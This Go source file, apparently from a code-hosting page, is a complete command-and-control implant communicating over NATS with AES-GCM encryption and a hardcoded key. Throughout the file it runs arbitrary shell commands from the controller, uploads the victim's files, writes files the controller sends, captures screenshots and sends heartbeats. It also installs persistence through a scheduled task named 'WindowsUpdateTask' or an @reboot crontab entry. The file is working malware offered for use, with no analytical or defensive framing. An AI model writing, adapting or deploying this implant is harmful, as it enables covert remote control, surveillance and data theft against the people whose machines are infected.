247 lines
7.2 KiB
Go
247 lines
7.2 KiB
Go
package main
|
|
|
|
import (
|
|
"crypto/aes"
|
|
"crypto/cipher"
|
|
"crypto/rand"
|
|
"encoding/base64"
|
|
"fmt"
|
|
"io"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
"time"
|
|
|
|
"github.com/nats-io/nats.go"
|
|
"github.com/go-vgo/robotgo"
|
|
)
|
|
|
|
// ------------------------- CONFIGURATION -------------------------
|
|
var natsServers = []string{
|
|
"nats://localhost:4222", // Change to your server IP
|
|
}
|
|
|
|
// AES key from generate_key.go
|
|
const b64Key = "rAEUBb5Id9HO3m3BZ+G5PSqBaceVJly4lbjbSSImz+c="
|
|
|
|
var aesKey []byte
|
|
var agentID string
|
|
const credsFile = "implant.creds"
|
|
|
|
// ------------------------- CRYPTO -------------------------
|
|
func encrypt(plaintext []byte) ([]byte, error) {
|
|
block, err := aes.NewCipher(aesKey)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
gcm, err := cipher.NewGCM(block)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
nonce := make([]byte, gcm.NonceSize())
|
|
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
|
return nil, err
|
|
}
|
|
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
|
|
return ciphertext, nil
|
|
}
|
|
|
|
func decrypt(ciphertext []byte) ([]byte, error) {
|
|
block, err := aes.NewCipher(aesKey)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
gcm, err := cipher.NewGCM(block)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
nonceSize := gcm.NonceSize()
|
|
if len(ciphertext) < nonceSize {
|
|
return nil, fmt.Errorf("ciphertext too short")
|
|
}
|
|
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
|
|
return gcm.Open(nil, nonce, ciphertext, nil)
|
|
}
|
|
|
|
// ------------------------- COMMAND EXECUTION -------------------------
|
|
func runCommand(cmdStr string) string {
|
|
var cmd *exec.Cmd
|
|
if runtime.GOOS == "windows" {
|
|
cmd = exec.Command("cmd", "/C", cmdStr)
|
|
} else {
|
|
cmd = exec.Command("/bin/sh", "-c", cmdStr)
|
|
}
|
|
out, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
|
|
}
|
|
return string(out)
|
|
}
|
|
|
|
// ------------------------- FILE OPERATIONS -------------------------
|
|
func uploadFile(nc *nats.Conn, agentID, localPath string) {
|
|
data, err := os.ReadFile(localPath)
|
|
if err != nil {
|
|
publishResult(nc, agentID, fmt.Sprintf("Upload error: %v", err))
|
|
return
|
|
}
|
|
encData, err := encrypt(data)
|
|
if err != nil {
|
|
publishResult(nc, agentID, fmt.Sprintf("Encryption error: %v", err))
|
|
return
|
|
}
|
|
b64enc := base64.StdEncoding.EncodeToString(encData)
|
|
nc.Publish("c2."+agentID+".file_upload", []byte(b64enc))
|
|
publishResult(nc, agentID, fmt.Sprintf("Uploaded %s (%d bytes)", localPath, len(data)))
|
|
}
|
|
|
|
func downloadFile(nc *nats.Conn, agentID, remotePath, b64Content string) {
|
|
encData, err := base64.StdEncoding.DecodeString(b64Content)
|
|
if err != nil {
|
|
publishResult(nc, agentID, fmt.Sprintf("Base64 decode error: %v", err))
|
|
return
|
|
}
|
|
data, err := decrypt(encData)
|
|
if err != nil {
|
|
publishResult(nc, agentID, fmt.Sprintf("Decryption error: %v", err))
|
|
return
|
|
}
|
|
if err := os.WriteFile(remotePath, data, 0644); err != nil {
|
|
publishResult(nc, agentID, fmt.Sprintf("Write error: %v", err))
|
|
return
|
|
}
|
|
publishResult(nc, agentID, fmt.Sprintf("Downloaded to %s (%d bytes)", remotePath, len(data)))
|
|
}
|
|
|
|
// ------------------------- SCREENSHOT -------------------------
|
|
func takeScreenshot(nc *nats.Conn, agentID string) {
|
|
bitmap := robotgo.CaptureScreen()
|
|
defer bitmap.Free()
|
|
img := robotgo.ToImage(bitmap)
|
|
tmpFile := filepath.Join(os.TempDir(), "screenshot.png")
|
|
robotgo.Save(img, tmpFile)
|
|
uploadFile(nc, agentID, tmpFile)
|
|
os.Remove(tmpFile)
|
|
}
|
|
|
|
// ------------------------- PERSISTENCE -------------------------
|
|
func installPersistence() {
|
|
exePath, _ := os.Executable()
|
|
if runtime.GOOS == "windows" {
|
|
cmd := exec.Command("schtasks", "/create", "/tn", "WindowsUpdateTask", "/tr", exePath, "/sc", "onlogon", "/f")
|
|
cmd.Run()
|
|
} else {
|
|
cmd := exec.Command("crontab", "-l")
|
|
out, _ := cmd.Output()
|
|
newCron := string(out) + "@reboot " + exePath + " >/dev/null 2>&1\n"
|
|
cmd2 := exec.Command("crontab", "-")
|
|
cmd2.Stdin = strings.NewReader(newCron)
|
|
cmd2.Run()
|
|
}
|
|
}
|
|
|
|
// ------------------------- NATS COMMUNICATION -------------------------
|
|
func publishResult(nc *nats.Conn, agentID, msg string) {
|
|
encMsg, _ := encrypt([]byte(msg))
|
|
nc.Publish("c2."+agentID+".results", encMsg)
|
|
}
|
|
|
|
func heartbeat(nc *nats.Conn, agentID string) {
|
|
encHeart, _ := encrypt([]byte("online"))
|
|
nc.Publish("c2."+agentID+".heartbeat", encHeart)
|
|
}
|
|
|
|
func connectWithRetries() *nats.Conn {
|
|
for {
|
|
for _, url := range natsServers {
|
|
// Try JWT auth first if creds file exists
|
|
var nc *nats.Conn
|
|
var err error
|
|
|
|
if _, err := os.Stat(credsFile); err == nil {
|
|
nc, err = nats.Connect(url, nats.UserCredentials(credsFile), nats.Timeout(5*time.Second))
|
|
} else {
|
|
// Fall back to no auth for testing
|
|
nc, err = nats.Connect(url, nats.Timeout(5*time.Second))
|
|
}
|
|
|
|
if err == nil {
|
|
fmt.Println("Connected to", url)
|
|
return nc
|
|
}
|
|
fmt.Printf("Failed %s: %v\n", url, err)
|
|
}
|
|
fmt.Println("All servers failed, retrying in 10s...")
|
|
time.Sleep(10 * time.Second)
|
|
}
|
|
}
|
|
|
|
func main() {
|
|
var err error
|
|
aesKey, err = base64.StdEncoding.DecodeString(b64Key)
|
|
if err != nil {
|
|
panic(err)
|
|
}
|
|
|
|
hostname, _ := os.Hostname()
|
|
agentID = fmt.Sprintf("%s-%d", hostname, os.Getpid())
|
|
|
|
fmt.Println("Agent starting with ID:", agentID)
|
|
|
|
nc := connectWithRetries()
|
|
defer nc.Drain()
|
|
|
|
// Subscribe to commands
|
|
subj := "c2." + agentID + ".tasks"
|
|
nc.Subscribe(subj, func(msg *nats.Msg) {
|
|
cmdBytes, err := decrypt(msg.Data)
|
|
if err != nil {
|
|
publishResult(nc, agentID, "Decryption failed")
|
|
return
|
|
}
|
|
cmd := string(cmdBytes)
|
|
parts := strings.SplitN(cmd, " ", 2)
|
|
verb := parts[0]
|
|
arg := ""
|
|
if len(parts) > 1 {
|
|
arg = parts[1]
|
|
}
|
|
|
|
switch verb {
|
|
case "exit":
|
|
publishResult(nc, agentID, "Exiting")
|
|
nc.Drain()
|
|
os.Exit(0)
|
|
case "shell":
|
|
out := runCommand(arg)
|
|
publishResult(nc, agentID, out)
|
|
case "upload":
|
|
uploadFile(nc, agentID, arg)
|
|
case "download":
|
|
subparts := strings.SplitN(arg, " ", 2)
|
|
if len(subparts) == 2 {
|
|
downloadFile(nc, agentID, subparts[0], subparts[1])
|
|
} else {
|
|
publishResult(nc, agentID, "Usage: download <path> <base64data>")
|
|
}
|
|
case "persist":
|
|
installPersistence()
|
|
publishResult(nc, agentID, "Persistence installed")
|
|
case "screenshot":
|
|
takeScreenshot(nc, agentID)
|
|
default:
|
|
publishResult(nc, agentID, "Unknown command: "+verb)
|
|
}
|
|
})
|
|
|
|
heartbeat(nc, agentID)
|
|
fmt.Println("Agent ready, waiting for commands...")
|
|
|
|
for {
|
|
time.Sleep(30 * time.Second)
|
|
heartbeat(nc, agentID)
|
|
}
|
|
}
|